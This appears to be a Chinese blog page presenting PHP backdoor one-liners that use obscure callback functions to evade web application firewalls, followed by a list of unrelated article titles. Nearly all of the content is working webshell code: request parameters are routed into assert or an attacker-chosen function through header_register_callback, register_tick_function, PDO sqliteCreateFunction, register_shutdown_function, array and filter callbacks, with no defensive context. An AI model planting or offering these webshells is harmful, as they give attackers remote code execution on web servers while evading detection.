PHP后门之冷门回调函数(过waf)
2024-10-06 12:37:24
header_register_callback(create_function('','return assert($_POST[\'k\']);'));
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);`
数据库回调后门
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
array_reduce(array($_POST['k']),create_function('$a,$b','return assert($b);'));
set_exception_handler(create_function('','return assert($_GET[k]);'));
throw new exception();
class a
{
public function __construct($args)
{
forward_static_call('assert',$args);
}
}
new a($_POST[k]);
iterator_apply(new arrayiterator(array($_GET['k'])),create_function('Iterator $i','assert($i->current());'),array(new arrayiterator(array($_GET['k']))));
array_intersect_ukey(array($_GET['k']=>'1'),array($_GET['k']=>'1'),'assert');
array_uintersect_uassoc(array($_GET[k]),array(''),'assert','strstr');
array_intersect_uassoc(array($_POST['k']=>''),array(''),'assert');
filter_var("phpinfo();" ,1024, array("options" => "assert"));
最新文章
- nginx反向代理tomcat访问时浏览器加载失败,出现 ERR_CONTENT_LENGTH_MISMATCH 问题
- NYOJ题目111分数加减法
- Android动画设计源码地址
- HackerRank ";Components in a graph";
- [设计模式]<;<;设计模式之禅>;>;关于单例模式
- 将Cent0S 7的网卡名称eno16777736改为eth0
- Observer 观察者模式
- Python httplib学习
- 在PHP代码中处理JSON 格式的字符串的两种方法:
- Ext JS学习第九天 Ext基础之 扩展原生的javascript对象
- Java 后台创建word 文档
- Java微信开发_02_本地服务器映射外网
- Android Native crash日志分析
- python之单例模式
- matlab练习程序(波纹扭曲)
- puppet使用 apache passsenger 作为前端 (centos)
- latex之矩阵表示
- HTML篇之CSS样式:<;button>;<;/button>;按钮变成超链接<;a>;<;/a>;的样式
- [svc]java初步
- 【 转】__try,__except,__finally,__leave异常模型机制
热门文章
- SpringBoot修改默认端口号 及 上下文
- glusterfs详解及kubernetes 搭建heketi-glusterfs
- shell脚本中添加用户并设置密码
- ACM团队招新赛题解
- 41 (OC)* OC的理解与动态特性
- C#使用Oxyplot绘制监控界面
- [Vue warn]: Duplicate keys detected: &#39;area&#39;. This may cause an update error.
- unity - TileMap的注意事项
- 转:怎么用Sql语句获取一个数据库中的所有表的名字
- jenkins构建maven项目:找不到本地依赖包的解决办法